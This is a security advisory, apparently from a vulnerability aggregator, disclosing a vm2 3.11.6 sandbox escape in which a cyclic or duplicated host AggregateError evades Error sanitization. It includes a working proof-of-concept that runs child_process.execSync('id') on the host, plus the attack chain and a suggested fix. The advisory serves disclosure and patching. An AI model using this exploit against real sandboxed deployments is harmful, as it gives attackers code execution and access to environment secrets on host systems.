vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
🔗 CVE IDs covered (1)
📋 Description
Summary
vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.
Root Cause
handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].
Impact
Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.
Proof of Concept
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
const shared = new AggregateError([], 'shared');
shared.leak = process; // incidental host ref
throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
try { hostThrow(); } catch (e) {
e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
}`)); // -> uid=1000(...) host RCE
Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.
Attack Chain
- Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped
AggregateErrorcarrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn,docs/ATTACKS.mdCategory 38), accepted in scope. - Caught-exception sanitizer — sandbox
try{hostThrow()}catch(e){…}; transformer routesethroughhandleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof:handleException(agg)marksaggvisited (1820); proto-walk routes tosanitizeAggregateError(1865); host-wrapped branch readsagg.errorsand callshandleException(agg, visited)on element 0 (1965); that inner call hitsvisited.get(agg)===true→return e(1819) → rawaggproxy pushed intosanitizedArr→ becomesnewAgg.errors[0]. The rebuild does NOT sealaggin place, so the returned proxy is fully live. - Sink —
e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridgegetwraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace showse.errors[0].isProxy===trueyet the chain executes and returns realuid=1000(ubuntu).... - Impact — host RCE with host privileges; also
process.env/.piddisclosure.
Bypass Evidence
Executed on node v22.23, vm2 3.11.6:
- Baseline vector
throw new Error('x',{cause:process})(plain Error.cause) → BLOCKED - Plain Error own-prop
e.leak=process(non-cyclic) → BLOCKED - Non-cyclic host
AggregateErrorw/ own-prop or single host sub-error leak → BLOCKED - AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (
uid=1000(ubuntu)…)
Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….
Affected Versions
<= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).
Scope Note
This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.
Suggested Fix
On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.
Reported by zx (Jace) — GitHub: @manus-use
🎯 Affected products1
- npm/vm2:<= 3.11.7
🔗 References (6)
- https://github.com/patriksimek/vm2/security/advisories/GHSA-x965-fc75-jpqh
- https://nvd.nist.gov/vuln/detail/CVE-2026-92934
- https://github.com/patriksimek/vm2/commit/c8c232530b860cfecf6f94bc8d0d0890aa381460
- https://github.com/patriksimek/vm2/releases/tag/v3.11.8
- https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-rce-via-aggregateerror
- https://github.com/advisories/GHSA-x965-fc75-jpqh